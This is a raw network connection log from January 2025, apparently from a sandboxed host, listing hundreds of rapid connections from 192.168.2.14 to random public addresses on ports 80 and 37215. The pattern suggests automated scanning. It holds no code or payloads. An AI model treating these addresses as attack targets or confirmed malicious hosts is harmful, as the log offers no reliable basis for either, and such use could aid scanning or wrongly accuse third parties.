Jan 30, 2025 10:43:00.082341909 CET	62855	80	192.168.2.14	135.137.219.42
Jan 30, 2025 10:43:00.082346916 CET	80	62855	72.138.65.241	192.168.2.14
Jan 30, 2025 10:43:00.082349062 CET	62855	80	192.168.2.14	157.11.254.63
Jan 30, 2025 10:43:00.082350016 CET	62855	80	192.168.2.14	13.140.46.184
Jan 30, 2025 10:43:00.082356930 CET	80	62855	48.53.90.166	192.168.2.14
Jan 30, 2025 10:43:00.082366943 CET	62855	80	192.168.2.14	217.17.21.101
Jan 30, 2025 10:43:00.082369089 CET	80	62855	174.34.250.187	192.168.2.14
Jan 30, 2025 10:43:00.082376957 CET	62855	80	192.168.2.14	72.138.65.241
Jan 30, 2025 10:43:00.082381964 CET	80	62855	52.151.5.68	192.168.2.14
Jan 30, 2025 10:43:00.082382917 CET	62855	80	192.168.2.14	48.53.90.166
Jan 30, 2025 10:43:00.082386971 CET	80	62855	53.82.60.154	192.168.2.14
Jan 30, 2025 10:43:00.082422972 CET	62855	80	192.168.2.14	53.82.60.154
Jan 30, 2025 10:43:00.082422972 CET	62855	80	192.168.2.14	52.151.5.68
Jan 30, 2025 10:43:00.082426071 CET	62855	80	192.168.2.14	174.34.250.187
Jan 30, 2025 10:43:00.082629919 CET	80	62855	136.62.234.207	192.168.2.14
Jan 30, 2025 10:43:00.082669020 CET	62855	80	192.168.2.14	136.62.234.207
Jan 30, 2025 10:43:00.082839966 CET	80	62855	211.170.6.17	192.168.2.14
Jan 30, 2025 10:43:00.082850933 CET	80	62855	100.167.180.221	192.168.2.14
Jan 30, 2025 10:43:00.082860947 CET	80	62855	184.120.244.238	192.168.2.14
Jan 30, 2025 10:43:00.082871914 CET	80	62855	115.25.251.122	192.168.2.14
Jan 30, 2025 10:43:00.082879066 CET	62855	80	192.168.2.14	211.170.6.17
Jan 30, 2025 10:43:00.082882881 CET	80	62855	99.16.149.25	192.168.2.14
Jan 30, 2025 10:43:00.082885981 CET	62855	80	192.168.2.14	100.167.180.221
Jan 30, 2025 10:43:00.082890034 CET	62855	80	192.168.2.14	184.120.244.238
Jan 30, 2025 10:43:00.082894087 CET	80	62855	206.139.32.150	192.168.2.14
Jan 30, 2025 10:43:00.082901001 CET	62855	80	192.168.2.14	115.25.251.122
Jan 30, 2025 10:43:00.082906961 CET	80	62855	1.41.250.210	192.168.2.14
Jan 30, 2025 10:43:00.082914114 CET	62855	80	192.168.2.14	99.16.149.25
Jan 30, 2025 10:43:00.082917929 CET	80	62855	115.134.53.88	192.168.2.14
Jan 30, 2025 10:43:00.082937002 CET	62855	80	192.168.2.14	206.139.32.150
Jan 30, 2025 10:43:00.082940102 CET	80	62855	32.178.139.209	192.168.2.14
Jan 30, 2025 10:43:00.082942009 CET	62855	80	192.168.2.14	115.134.53.88
Jan 30, 2025 10:43:00.082942963 CET	62855	80	192.168.2.14	1.41.250.210
Jan 30, 2025 10:43:00.082952023 CET	80	62855	73.182.145.36	192.168.2.14
Jan 30, 2025 10:43:00.082962990 CET	80	62855	20.179.201.121	192.168.2.14
Jan 30, 2025 10:43:00.082973003 CET	80	62855	160.204.11.101	192.168.2.14
Jan 30, 2025 10:43:00.082974911 CET	62855	80	192.168.2.14	32.178.139.209
Jan 30, 2025 10:43:00.082982063 CET	80	62855	111.177.40.114	192.168.2.14
Jan 30, 2025 10:43:00.082984924 CET	62855	80	192.168.2.14	73.182.145.36
Jan 30, 2025 10:43:00.082993031 CET	80	62855	180.27.43.193	192.168.2.14
Jan 30, 2025 10:43:00.083002090 CET	80	62855	173.178.142.185	192.168.2.14
Jan 30, 2025 10:43:00.083003044 CET	62855	80	192.168.2.14	160.204.11.101
Jan 30, 2025 10:43:00.083003044 CET	62855	80	192.168.2.14	20.179.201.121
Jan 30, 2025 10:43:00.083014011 CET	62855	80	192.168.2.14	111.177.40.114
Jan 30, 2025 10:43:00.083017111 CET	62855	80	192.168.2.14	180.27.43.193
Jan 30, 2025 10:43:00.083026886 CET	62855	80	192.168.2.14	173.178.142.185
Jan 30, 2025 10:43:00.083233118 CET	80	62855	88.156.227.122	192.168.2.14
Jan 30, 2025 10:43:00.083242893 CET	80	62855	89.66.130.118	192.168.2.14
Jan 30, 2025 10:43:00.083252907 CET	80	62855	8.51.164.15	192.168.2.14
Jan 30, 2025 10:43:00.083262920 CET	80	62855	156.236.82.246	192.168.2.14
Jan 30, 2025 10:43:00.083272934 CET	80	62855	25.180.17.224	192.168.2.14
Jan 30, 2025 10:43:00.083273888 CET	62855	80	192.168.2.14	88.156.227.122
Jan 30, 2025 10:43:00.083283901 CET	62855	80	192.168.2.14	8.51.164.15
Jan 30, 2025 10:43:00.083286047 CET	80	62855	150.45.48.50	192.168.2.14
Jan 30, 2025 10:43:00.083297014 CET	80	62855	130.75.61.142	192.168.2.14
Jan 30, 2025 10:43:00.083308935 CET	80	62855	13.162.94.5	192.168.2.14
Jan 30, 2025 10:43:00.083311081 CET	62855	80	192.168.2.14	25.180.17.224
Jan 30, 2025 10:43:00.083342075 CET	62855	80	192.168.2.14	130.75.61.142
Jan 30, 2025 10:43:00.083535910 CET	80	62855	41.22.234.221	192.168.2.14
Jan 30, 2025 10:43:00.083547115 CET	80	62855	111.127.118.16	192.168.2.14
Jan 30, 2025 10:43:00.083558083 CET	80	62855	152.0.81.93	192.168.2.14
Jan 30, 2025 10:43:00.083568096 CET	80	62855	196.4.45.89	192.168.2.14
Jan 30, 2025 10:43:00.083575010 CET	62855	80	192.168.2.14	41.22.234.221
Jan 30, 2025 10:43:00.083584070 CET	62855	80	192.168.2.14	156.236.82.246
Jan 30, 2025 10:43:00.083584070 CET	62855	80	192.168.2.14	111.127.118.16
Jan 30, 2025 10:43:00.083595037 CET	62855	80	192.168.2.14	150.45.48.50
Jan 30, 2025 10:43:00.083595037 CET	62855	80	192.168.2.14	13.162.94.5
Jan 30, 2025 10:43:00.083595991 CET	62855	80	192.168.2.14	89.66.130.118
Jan 30, 2025 10:43:00.083600044 CET	62855	80	192.168.2.14	152.0.81.93
Jan 30, 2025 10:43:00.083601952 CET	62855	80	192.168.2.14	196.4.45.89
Jan 30, 2025 10:43:00.083815098 CET	80	62855	150.19.61.100	192.168.2.14
Jan 30, 2025 10:43:00.083827972 CET	80	62855	158.54.39.98	192.168.2.14
Jan 30, 2025 10:43:00.083837986 CET	80	62855	166.93.109.179	192.168.2.14
Jan 30, 2025 10:43:00.083852053 CET	62855	80	192.168.2.14	150.19.61.100
Jan 30, 2025 10:43:00.083852053 CET	80	62855	116.153.0.130	192.168.2.14
Jan 30, 2025 10:43:00.083861113 CET	62855	80	192.168.2.14	158.54.39.98
Jan 30, 2025 10:43:00.083877087 CET	62855	80	192.168.2.14	166.93.109.179
Jan 30, 2025 10:43:00.083889961 CET	62855	80	192.168.2.14	116.153.0.130
Jan 30, 2025 10:43:00.084223986 CET	37215	60295	197.12.222.92	192.168.2.14
Jan 30, 2025 10:43:00.084233999 CET	37215	60295	197.144.107.189	192.168.2.14
Jan 30, 2025 10:43:00.084243059 CET	37215	60295	156.206.161.24	192.168.2.14
Jan 30, 2025 10:43:00.084254026 CET	37215	60295	197.71.16.66	192.168.2.14
Jan 30, 2025 10:43:00.084264040 CET	37215	60295	197.228.237.204	192.168.2.14
Jan 30, 2025 10:43:00.084275961 CET	37215	60295	41.16.174.211	192.168.2.14
Jan 30, 2025 10:43:00.084280968 CET	60295	37215	192.168.2.14	156.206.161.24
Jan 30, 2025 10:43:00.084297895 CET	37215	60295	197.44.142.40	192.168.2.14
Jan 30, 2025 10:43:00.084309101 CET	37215	60295	156.41.245.181	192.168.2.14
Jan 30, 2025 10:43:00.084319115 CET	37215	60295	156.243.164.1	192.168.2.14
Jan 30, 2025 10:43:00.084330082 CET	37215	60295	197.53.105.91	192.168.2.14
Jan 30, 2025 10:43:00.084336996 CET	60295	37215	192.168.2.14	197.44.142.40
Jan 30, 2025 10:43:00.084341049 CET	37215	60295	41.134.176.191	192.168.2.14
Jan 30, 2025 10:43:00.084352970 CET	37215	60295	197.85.67.201	192.168.2.14
Jan 30, 2025 10:43:00.084359884 CET	60295	37215	192.168.2.14	156.243.164.1
Jan 30, 2025 10:43:00.084362984 CET	37215	60295	197.31.128.169	192.168.2.14
Jan 30, 2025 10:43:00.084367990 CET	37215	60295	41.86.46.162	192.168.2.14
Jan 30, 2025 10:43:00.084383965 CET	37215	60295	41.124.141.19	192.168.2.14
Jan 30, 2025 10:43:00.084388971 CET	37215	60295	197.204.135.200	192.168.2.14
Jan 30, 2025 10:43:00.084393024 CET	37215	60295	156.64.140.217	192.168.2.14
Jan 30, 2025 10:43:00.084528923 CET	60295	37215	192.168.2.14	197.12.222.92
Jan 30, 2025 10:43:00.084528923 CET	60295	37215	192.168.2.14	41.134.176.191
Jan 30, 2025 10:43:00.084528923 CET	60295	37215	192.168.2.14	197.204.135.200
Jan 30, 2025 10:43:00.084528923 CET	60295	37215	192.168.2.14	156.64.140.217
Jan 30, 2025 10:43:00.084530115 CET	60295	37215	192.168.2.14	197.144.107.189
Jan 30, 2025 10:43:00.084536076 CET	60295	37215	192.168.2.14	197.71.16.66
Jan 30, 2025 10:43:00.084544897 CET	60295	37215	192.168.2.14	41.16.174.211
Jan 30, 2025 10:43:00.084547043 CET	60295	37215	192.168.2.14	197.228.237.204
Jan 30, 2025 10:43:00.084554911 CET	60295	37215	192.168.2.14	197.53.105.91
Jan 30, 2025 10:43:00.084557056 CET	60295	37215	192.168.2.14	156.41.245.181
Jan 30, 2025 10:43:00.084563017 CET	60295	37215	192.168.2.14	197.85.67.201
Jan 30, 2025 10:43:00.084568977 CET	37215	60295	156.16.203.255	192.168.2.14
Jan 30, 2025 10:43:00.084573030 CET	60295	37215	192.168.2.14	197.31.128.169
Jan 30, 2025 10:43:00.084574938 CET	60295	37215	192.168.2.14	41.86.46.162
Jan 30, 2025 10:43:00.084578037 CET	60295	37215	192.168.2.14	41.124.141.19
Jan 30, 2025 10:43:00.084605932 CET	60295	37215	192.168.2.14	156.16.203.255
Jan 30, 2025 10:43:00.084733963 CET	37215	60295	197.65.36.49	192.168.2.14
Jan 30, 2025 10:43:00.084749937 CET	37215	60295	197.133.221.69	192.168.2.14
Jan 30, 2025 10:43:00.084760904 CET	37215	60295	41.141.84.177	192.168.2.14
Jan 30, 2025 10:43:00.084772110 CET	37215	60295	156.216.90.55	192.168.2.14
Jan 30, 2025 10:43:00.084775925 CET	60295	37215	192.168.2.14	197.65.36.49
Jan 30, 2025 10:43:00.084777117 CET	37215	60295	41.118.208.75	192.168.2.14
Jan 30, 2025 10:43:00.084780931 CET	60295	37215	192.168.2.14	197.133.221.69
Jan 30, 2025 10:43:00.084788084 CET	37215	60295	41.238.147.20	192.168.2.14
Jan 30, 2025 10:43:00.084799051 CET	37215	60295	156.163.216.187	192.168.2.14
Jan 30, 2025 10:43:00.084805012 CET	60295	37215	192.168.2.14	156.216.90.55
Jan 30, 2025 10:43:00.084813118 CET	37215	60295	41.45.76.214	192.168.2.14
Jan 30, 2025 10:43:00.084824085 CET	37215	60295	41.144.219.138	192.168.2.14
Jan 30, 2025 10:43:00.084827900 CET	60295	37215	192.168.2.14	41.141.84.177
Jan 30, 2025 10:43:00.084829092 CET	60295	37215	192.168.2.14	41.118.208.75
Jan 30, 2025 10:43:00.084829092 CET	60295	37215	192.168.2.14	41.238.147.20
Jan 30, 2025 10:43:00.084835052 CET	37215	60295	197.180.132.126	192.168.2.14
Jan 30, 2025 10:43:00.084836006 CET	60295	37215	192.168.2.14	156.163.216.187
Jan 30, 2025 10:43:00.084836006 CET	60295	37215	192.168.2.14	41.45.76.214
Jan 30, 2025 10:43:00.084851027 CET	37215	60295	197.195.129.65	192.168.2.14
Jan 30, 2025 10:43:00.084861040 CET	60295	37215	192.168.2.14	41.144.219.138
Jan 30, 2025 10:43:00.084863901 CET	37215	60295	197.148.61.76	192.168.2.14
Jan 30, 2025 10:43:00.084867954 CET	60295	37215	192.168.2.14	197.180.132.126
Jan 30, 2025 10:43:00.084887981 CET	60295	37215	192.168.2.14	197.195.129.65
Jan 30, 2025 10:43:00.084891081 CET	60295	37215	192.168.2.14	197.148.61.76
Jan 30, 2025 10:43:00.085143089 CET	37215	60295	41.53.67.92	192.168.2.14
Jan 30, 2025 10:43:00.085154057 CET	37215	60295	156.166.137.247	192.168.2.14
Jan 30, 2025 10:43:00.085163116 CET	37215	60295	156.92.103.36	192.168.2.14
Jan 30, 2025 10:43:00.085174084 CET	37215	60295	156.97.73.122	192.168.2.14
Jan 30, 2025 10:43:00.085184097 CET	37215	60295	41.194.4.99	192.168.2.14
Jan 30, 2025 10:43:00.085189104 CET	37215	60295	156.176.33.97	192.168.2.14
Jan 30, 2025 10:43:00.085192919 CET	37215	60295	197.128.32.172	192.168.2.14
Jan 30, 2025 10:43:00.085195065 CET	60295	37215	192.168.2.14	41.53.67.92
Jan 30, 2025 10:43:00.085195065 CET	60295	37215	192.168.2.14	156.92.103.36
Jan 30, 2025 10:43:00.085201025 CET	60295	37215	192.168.2.14	156.166.137.247
Jan 30, 2025 10:43:00.085203886 CET	37215	60295	197.134.62.103	192.168.2.14
Jan 30, 2025 10:43:00.085215092 CET	37215	60295	197.149.27.207	192.168.2.14
Jan 30, 2025 10:43:00.085228920 CET	60295	37215	192.168.2.14	156.97.73.122
Jan 30, 2025 10:43:00.085230112 CET	60295	37215	192.168.2.14	41.194.4.99
Jan 30, 2025 10:43:00.085230112 CET	60295	37215	192.168.2.14	156.176.33.97
Jan 30, 2025 10:43:00.085237980 CET	60295	37215	192.168.2.14	197.134.62.103
Jan 30, 2025 10:43:00.085238934 CET	37215	60295	197.146.181.81	192.168.2.14
Jan 30, 2025 10:43:00.085238934 CET	60295	37215	192.168.2.14	197.128.32.172
Jan 30, 2025 10:43:00.085246086 CET	60295	37215	192.168.2.14	197.149.27.207
Jan 30, 2025 10:43:00.085251093 CET	37215	60295	156.87.76.45	192.168.2.14
Jan 30, 2025 10:43:00.085263968 CET	37215	60295	156.4.208.80	192.168.2.14
Jan 30, 2025 10:43:00.085273981 CET	37215	60295	156.231.168.97	192.168.2.14
Jan 30, 2025 10:43:00.085279942 CET	60295	37215	192.168.2.14	197.146.181.81
Jan 30, 2025 10:43:00.085284948 CET	37215	60295	41.182.144.101	192.168.2.14
Jan 30, 2025 10:43:00.085289955 CET	60295	37215	192.168.2.14	156.87.76.45
Jan 30, 2025 10:43:00.085298061 CET	37215	60295	41.66.252.197	192.168.2.14
Jan 30, 2025 10:43:00.085299969 CET	60295	37215	192.168.2.14	156.4.208.80
Jan 30, 2025 10:43:00.085309029 CET	37215	60295	197.187.41.144	192.168.2.14
Jan 30, 2025 10:43:00.085330009 CET	37215	60295	41.154.94.33	192.168.2.14
Jan 30, 2025 10:43:00.085340023 CET	37215	60295	41.78.74.145	192.168.2.14
Jan 30, 2025 10:43:00.085350990 CET	37215	60295	41.245.236.253	192.168.2.14
Jan 30, 2025 10:43:00.085361958 CET	37215	60295	156.111.102.199	192.168.2.14
Jan 30, 2025 10:43:00.085366964 CET	60295	37215	192.168.2.14	41.182.144.101
Jan 30, 2025 10:43:00.085367918 CET	60295	37215	192.168.2.14	41.154.94.33
Jan 30, 2025 10:43:00.085369110 CET	60295	37215	192.168.2.14	197.187.41.144
Jan 30, 2025 10:43:00.085369110 CET	60295	37215	192.168.2.14	41.66.252.197
Jan 30, 2025 10:43:00.085372925 CET	37215	60295	41.165.52.54	192.168.2.14
Jan 30, 2025 10:43:00.085376024 CET	60295	37215	192.168.2.14	41.245.236.253
Jan 30, 2025 10:43:00.085403919 CET	60295	37215	192.168.2.14	156.111.102.199
Jan 30, 2025 10:43:00.085403919 CET	60295	37215	192.168.2.14	41.165.52.54
Jan 30, 2025 10:43:00.085457087 CET	60295	37215	192.168.2.14	156.231.168.97
Jan 30, 2025 10:43:00.085457087 CET	60295	37215	192.168.2.14	41.78.74.145
Jan 30, 2025 10:43:00.085705996 CET	37215	60295	197.65.11.188	192.168.2.14
Jan 30, 2025 10:43:00.085716963 CET	37215	60295	197.37.21.150	192.168.2.14
Jan 30, 2025 10:43:00.085726976 CET	37215	60295	41.243.155.38	192.168.2.14
Jan 30, 2025 10:43:00.085737944 CET	37215	60295	41.163.114.204	192.168.2.14
Jan 30, 2025 10:43:00.085740089 CET	60295	37215	192.168.2.14	197.65.11.188
Jan 30, 2025 10:43:00.085748911 CET	37215	60295	156.181.137.13	192.168.2.14
Jan 30, 2025 10:43:00.085760117 CET	37215	60295	41.230.86.17	192.168.2.14
Jan 30, 2025 10:43:00.085762024 CET	60295	37215	192.168.2.14	197.37.21.150
Jan 30, 2025 10:43:00.085772991 CET	37215	60295	41.111.49.52	192.168.2.14
Jan 30, 2025 10:43:00.085783958 CET	37215	60295	197.248.192.230	192.168.2.14
Jan 30, 2025 10:43:00.085792065 CET	60295	37215	192.168.2.14	41.163.114.204
Jan 30, 2025 10:43:00.085798025 CET	60295	37215	192.168.2.14	156.181.137.13
Jan 30, 2025 10:43:00.085802078 CET	60295	37215	192.168.2.14	41.243.155.38
Jan 30, 2025 10:43:00.085803986 CET	60295	37215	192.168.2.14	41.111.49.52
Jan 30, 2025 10:43:00.085803986 CET	60295	37215	192.168.2.14	41.230.86.17
Jan 30, 2025 10:43:00.085824966 CET	60295	37215	192.168.2.14	197.248.192.230
Jan 30, 2025 10:43:00.085858107 CET	37215	60295	197.29.124.131	192.168.2.14
Jan 30, 2025 10:43:00.085870028 CET	37215	60295	41.104.121.199	192.168.2.14
Jan 30, 2025 10:43:00.085916996 CET	60295	37215	192.168.2.14	197.29.124.131
Jan 30, 2025 10:43:00.085922003 CET	37215	60295	156.53.89.62	192.168.2.14
Jan 30, 2025 10:43:00.085933924 CET	37215	60295	156.28.238.60	192.168.2.14
Jan 30, 2025 10:43:00.085946083 CET	60295	37215	192.168.2.14	41.104.121.199
Jan 30, 2025 10:43:00.085948944 CET	60295	37215	192.168.2.14	156.53.89.62
Jan 30, 2025 10:43:00.085953951 CET	37215	60295	156.202.198.58	192.168.2.14
Jan 30, 2025 10:43:00.085966110 CET	37215	60295	41.226.208.207	192.168.2.14
Jan 30, 2025 10:43:00.085974932 CET	37215	60295	41.59.40.152	192.168.2.14
Jan 30, 2025 10:43:00.085985899 CET	37215	60295	197.161.115.45	192.168.2.14
Jan 30, 2025 10:43:00.085990906 CET	60295	37215	192.168.2.14	156.28.238.60
Jan 30, 2025 10:43:00.085995913 CET	60295	37215	192.168.2.14	41.226.208.207
Jan 30, 2025 10:43:00.086002111 CET	37215	60295	156.207.133.219	192.168.2.14
Jan 30, 2025 10:43:00.086002111 CET	60295	37215	192.168.2.14	156.202.198.58
Jan 30, 2025 10:43:00.086014986 CET	37215	60295	197.236.246.218	192.168.2.14
Jan 30, 2025 10:43:00.086015940 CET	60295	37215	192.168.2.14	41.59.40.152
Jan 30, 2025 10:43:00.086019039 CET	60295	37215	192.168.2.14	197.161.115.45
Jan 30, 2025 10:43:00.086026907 CET	37215	60295	156.207.98.73	192.168.2.14
Jan 30, 2025 10:43:00.086036921 CET	60295	37215	192.168.2.14	156.207.133.219
Jan 30, 2025 10:43:00.086038113 CET	37215	60295	41.5.211.97	192.168.2.14
Jan 30, 2025 10:43:00.086049080 CET	37215	60295	156.11.51.223	192.168.2.14
Jan 30, 2025 10:43:00.086054087 CET	60295	37215	192.168.2.14	197.236.246.218
Jan 30, 2025 10:43:00.086061001 CET	37215	60295	156.157.30.65	192.168.2.14
Jan 30, 2025 10:43:00.086072922 CET	37215	60295	156.134.209.109	192.168.2.14
Jan 30, 2025 10:43:00.086085081 CET	37215	60295	41.25.206.165	192.168.2.14
Jan 30, 2025 10:43:00.086095095 CET	37215	60295	156.148.82.154	192.168.2.14
Jan 30, 2025 10:43:00.086106062 CET	37215	60295	41.235.214.242	192.168.2.14
Jan 30, 2025 10:43:00.086113930 CET	60295	37215	192.168.2.14	156.207.98.73
Jan 30, 2025 10:43:00.086113930 CET	60295	37215	192.168.2.14	41.5.211.97
Jan 30, 2025 10:43:00.086113930 CET	60295	37215	192.168.2.14	156.11.51.223
Jan 30, 2025 10:43:00.086117029 CET	37215	60295	41.177.115.24	192.168.2.14
Jan 30, 2025 10:43:00.086121082 CET	60295	37215	192.168.2.14	156.134.209.109
Jan 30, 2025 10:43:00.086126089 CET	60295	37215	192.168.2.14	41.25.206.165
Jan 30, 2025 10:43:00.086127996 CET	37215	60295	156.101.253.160	192.168.2.14
Jan 30, 2025 10:43:00.086131096 CET	60295	37215	192.168.2.14	156.148.82.154
Jan 30, 2025 10:43:00.086137056 CET	60295	37215	192.168.2.14	41.235.214.242
Jan 30, 2025 10:43:00.086177111 CET	60295	37215	192.168.2.14	156.157.30.65
Jan 30, 2025 10:43:00.086177111 CET	60295	37215	192.168.2.14	41.177.115.24
Jan 30, 2025 10:43:00.086177111 CET	60295	37215	192.168.2.14	156.101.253.160
Jan 30, 2025 10:43:00.086289883 CET	37215	60295	41.134.164.126	192.168.2.14
Jan 30, 2025 10:43:00.086301088 CET	37215	60295	197.205.93.13	192.168.2.14
Jan 30, 2025 10:43:00.086323023 CET	37215	60295	156.95.156.4	192.168.2.14
Jan 30, 2025 10:43:00.086332083 CET	60295	37215	192.168.2.14	41.134.164.126
Jan 30, 2025 10:43:00.086333990 CET	37215	60295	156.65.121.164	192.168.2.14
Jan 30, 2025 10:43:00.086338997 CET	60295	37215	192.168.2.14	197.205.93.13
Jan 30, 2025 10:43:00.086344004 CET	37215	60295	41.17.215.186	192.168.2.14
Jan 30, 2025 10:43:00.086355925 CET	37215	60295	41.87.20.200	192.168.2.14
Jan 30, 2025 10:43:00.086359024 CET	60295	37215	192.168.2.14	156.95.156.4
Jan 30, 2025 10:43:00.086360931 CET	60295	37215	192.168.2.14	156.65.121.164
Jan 30, 2025 10:43:00.086366892 CET	37215	60295	156.241.231.27	192.168.2.14
Jan 30, 2025 10:43:00.086376905 CET	60295	37215	192.168.2.14	41.17.215.186
Jan 30, 2025 10:43:00.086379051 CET	37215	60295	156.217.75.164	192.168.2.14
Jan 30, 2025 10:43:00.086381912 CET	60295	37215	192.168.2.14	41.87.20.200
Jan 30, 2025 10:43:00.086389065 CET	37215	60295	41.156.151.89	192.168.2.14
Jan 30, 2025 10:43:00.086397886 CET	60295	37215	192.168.2.14	156.241.231.27
Jan 30, 2025 10:43:00.086400032 CET	37215	60295	197.249.223.167	192.168.2.14
Jan 30, 2025 10:43:00.086411953 CET	37215	60295	156.250.227.105	192.168.2.14
Jan 30, 2025 10:43:00.086433887 CET	37215	60295	41.131.51.130	192.168.2.14
Jan 30, 2025 10:43:00.086445093 CET	37215	60295	156.210.100.90	192.168.2.14
Jan 30, 2025 10:43:00.086457014 CET	37215	60295	41.240.66.170	192.168.2.14
Jan 30, 2025 10:43:00.086457968 CET	60295	37215	192.168.2.14	197.249.223.167
Jan 30, 2025 10:43:00.086467981 CET	37215	60295	156.14.50.198	192.168.2.14
Jan 30, 2025 10:43:00.086469889 CET	60295	37215	192.168.2.14	41.131.51.130
Jan 30, 2025 10:43:00.086469889 CET	60295	37215	192.168.2.14	41.156.151.89
Jan 30, 2025 10:43:00.086469889 CET	60295	37215	192.168.2.14	156.210.100.90
Jan 30, 2025 10:43:00.086474895 CET	60295	37215	192.168.2.14	156.250.227.105
Jan 30, 2025 10:43:00.086478949 CET	37215	60295	156.138.175.91	192.168.2.14
Jan 30, 2025 10:43:00.086491108 CET	37215	60295	197.145.76.200	192.168.2.14
Jan 30, 2025 10:43:00.086493015 CET	60295	37215	192.168.2.14	41.240.66.170
Jan 30, 2025 10:43:00.086502075 CET	37215	60295	197.70.10.44	192.168.2.14
Jan 30, 2025 10:43:00.086509943 CET	60295	37215	192.168.2.14	156.14.50.198
Jan 30, 2025 10:43:00.086510897 CET	60295	37215	192.168.2.14	156.138.175.91
Jan 30, 2025 10:43:00.086513042 CET	37215	60295	197.11.113.184	192.168.2.14
Jan 30, 2025 10:43:00.086522102 CET	60295	37215	192.168.2.14	156.217.75.164
Jan 30, 2025 10:43:00.086524963 CET	37215	60295	156.133.210.0	192.168.2.14
Jan 30, 2025 10:43:00.086528063 CET	60295	37215	192.168.2.14	197.70.10.44
Jan 30, 2025 10:43:00.086530924 CET	60295	37215	192.168.2.14	197.145.76.200
Jan 30, 2025 10:43:00.086539030 CET	37215	60295	41.135.79.197	192.168.2.14
Jan 30, 2025 10:43:00.086550951 CET	37215	60295	156.9.15.50	192.168.2.14
Jan 30, 2025 10:43:00.086550951 CET	60295	37215	192.168.2.14	197.11.113.184
Jan 30, 2025 10:43:00.086560965 CET	37215	60295	41.114.95.232	192.168.2.14
Jan 30, 2025 10:43:00.086565018 CET	60295	37215	192.168.2.14	156.133.210.0
Jan 30, 2025 10:43:00.086566925 CET	60295	37215	192.168.2.14	41.135.79.197
Jan 30, 2025 10:43:00.086570978 CET	37215	60295	197.56.227.125	192.168.2.14
Jan 30, 2025 10:43:00.086576939 CET	37215	60295	197.69.65.181	192.168.2.14
Jan 30, 2025 10:43:00.086596012 CET	60295	37215	192.168.2.14	156.9.15.50
Jan 30, 2025 10:43:00.086632013 CET	60295	37215	192.168.2.14	41.114.95.232
Jan 30, 2025 10:43:00.086633921 CET	60295	37215	192.168.2.14	197.56.227.125
Jan 30, 2025 10:43:00.086652040 CET	37215	60295	156.170.26.69	192.168.2.14
Jan 30, 2025 10:43:00.086663961 CET	37215	60295	41.249.251.224	192.168.2.14
Jan 30, 2025 10:43:00.086666107 CET	60295	37215	192.168.2.14	197.69.65.181
Jan 30, 2025 10:43:00.086673975 CET	37215	60295	41.205.13.87	192.168.2.14
Jan 30, 2025 10:43:00.086694002 CET	60295	37215	192.168.2.14	156.170.26.69
Jan 30, 2025 10:43:00.086703062 CET	60295	37215	192.168.2.14	41.249.251.224
Jan 30, 2025 10:43:00.086709976 CET	60295	37215	192.168.2.14	41.205.13.87
Jan 30, 2025 10:43:00.087073088 CET	37215	60295	41.225.181.7	192.168.2.14
Jan 30, 2025 10:43:00.087084055 CET	37215	60295	156.10.154.107	192.168.2.14
Jan 30, 2025 10:43:00.087095022 CET	37215	60295	156.131.21.58	192.168.2.14
Jan 30, 2025 10:43:00.087105989 CET	37215	60295	197.135.98.235	192.168.2.14
Jan 30, 2025 10:43:00.087116003 CET	37215	60295	41.228.227.249	192.168.2.14
Jan 30, 2025 10:43:00.087116003 CET	60295	37215	192.168.2.14	41.225.181.7
Jan 30, 2025 10:43:00.087116957 CET	60295	37215	192.168.2.14	156.10.154.107
Jan 30, 2025 10:43:00.087129116 CET	60295	37215	192.168.2.14	156.131.21.58
Jan 30, 2025 10:43:00.087130070 CET	37215	60295	197.213.129.254	192.168.2.14
Jan 30, 2025 10:43:00.087141991 CET	37215	60295	41.251.168.171	192.168.2.14
Jan 30, 2025 10:43:00.087141991 CET	60295	37215	192.168.2.14	197.135.98.235
Jan 30, 2025 10:43:00.087152004 CET	60295	37215	192.168.2.14	41.228.227.249
Jan 30, 2025 10:43:00.087162018 CET	37215	60295	41.34.179.158	192.168.2.14
Jan 30, 2025 10:43:00.087162971 CET	60295	37215	192.168.2.14	197.213.129.254
Jan 30, 2025 10:43:00.087179899 CET	37215	60295	197.230.43.64	192.168.2.14
Jan 30, 2025 10:43:00.087191105 CET	37215	60295	41.184.117.151	192.168.2.14
Jan 30, 2025 10:43:00.087202072 CET	37215	60295	156.35.146.159	192.168.2.14
Jan 30, 2025 10:43:00.087212086 CET	37215	60295	197.38.35.168	192.168.2.14
Jan 30, 2025 10:43:00.087223053 CET	37215	60295	41.216.94.49	192.168.2.14
Jan 30, 2025 10:43:00.087225914 CET	60295	37215	192.168.2.14	41.251.168.171
Jan 30, 2025 10:43:00.087228060 CET	60295	37215	192.168.2.14	41.34.179.158
Jan 30, 2025 10:43:00.087228060 CET	60295	37215	192.168.2.14	197.230.43.64
Jan 30, 2025 10:43:00.087234020 CET	37215	60295	197.153.28.146	192.168.2.14
Jan 30, 2025 10:43:00.087245941 CET	37215	60295	156.63.12.34	192.168.2.14
Jan 30, 2025 10:43:00.087245941 CET	60295	37215	192.168.2.14	156.35.146.159
Jan 30, 2025 10:43:00.087245941 CET	60295	37215	192.168.2.14	197.38.35.168
Jan 30, 2025 10:43:00.087245941 CET	60295	37215	192.168.2.14	41.184.117.151
Jan 30, 2025 10:43:00.087256908 CET	37215	60295	156.222.104.17	192.168.2.14
Jan 30, 2025 10:43:00.087258101 CET	60295	37215	192.168.2.14	41.216.94.49
Jan 30, 2025 10:43:00.087268114 CET	60295	37215	192.168.2.14	197.153.28.146
Jan 30, 2025 10:43:00.087269068 CET	37215	60295	197.162.175.41	192.168.2.14
Jan 30, 2025 10:43:00.087277889 CET	37215	60295	41.243.155.184	192.168.2.14
Jan 30, 2025 10:43:00.087285995 CET	60295	37215	192.168.2.14	156.63.12.34
Jan 30, 2025 10:43:00.087290049 CET	37215	60295	156.84.34.85	192.168.2.14
Jan 30, 2025 10:43:00.087294102 CET	60295	37215	192.168.2.14	156.222.104.17
Jan 30, 2025 10:43:00.087317944 CET	60295	37215	192.168.2.14	197.162.175.41
Jan 30, 2025 10:43:00.087330103 CET	60295	37215	192.168.2.14	41.243.155.184
Jan 30, 2025 10:43:00.087341070 CET	60295	37215	192.168.2.14	156.84.34.85
Jan 30, 2025 10:43:00.087523937 CET	37215	60295	156.149.141.197	192.168.2.14
Jan 30, 2025 10:43:00.087537050 CET	37215	60295	41.241.162.23	192.168.2.14
Jan 30, 2025 10:43:00.087547064 CET	37215	60295	197.136.129.0	192.168.2.14
Jan 30, 2025 10:43:00.087558031 CET	37215	60295	156.74.12.177	192.168.2.14
Jan 30, 2025 10:43:00.087563038 CET	60295	37215	192.168.2.14	156.149.141.197
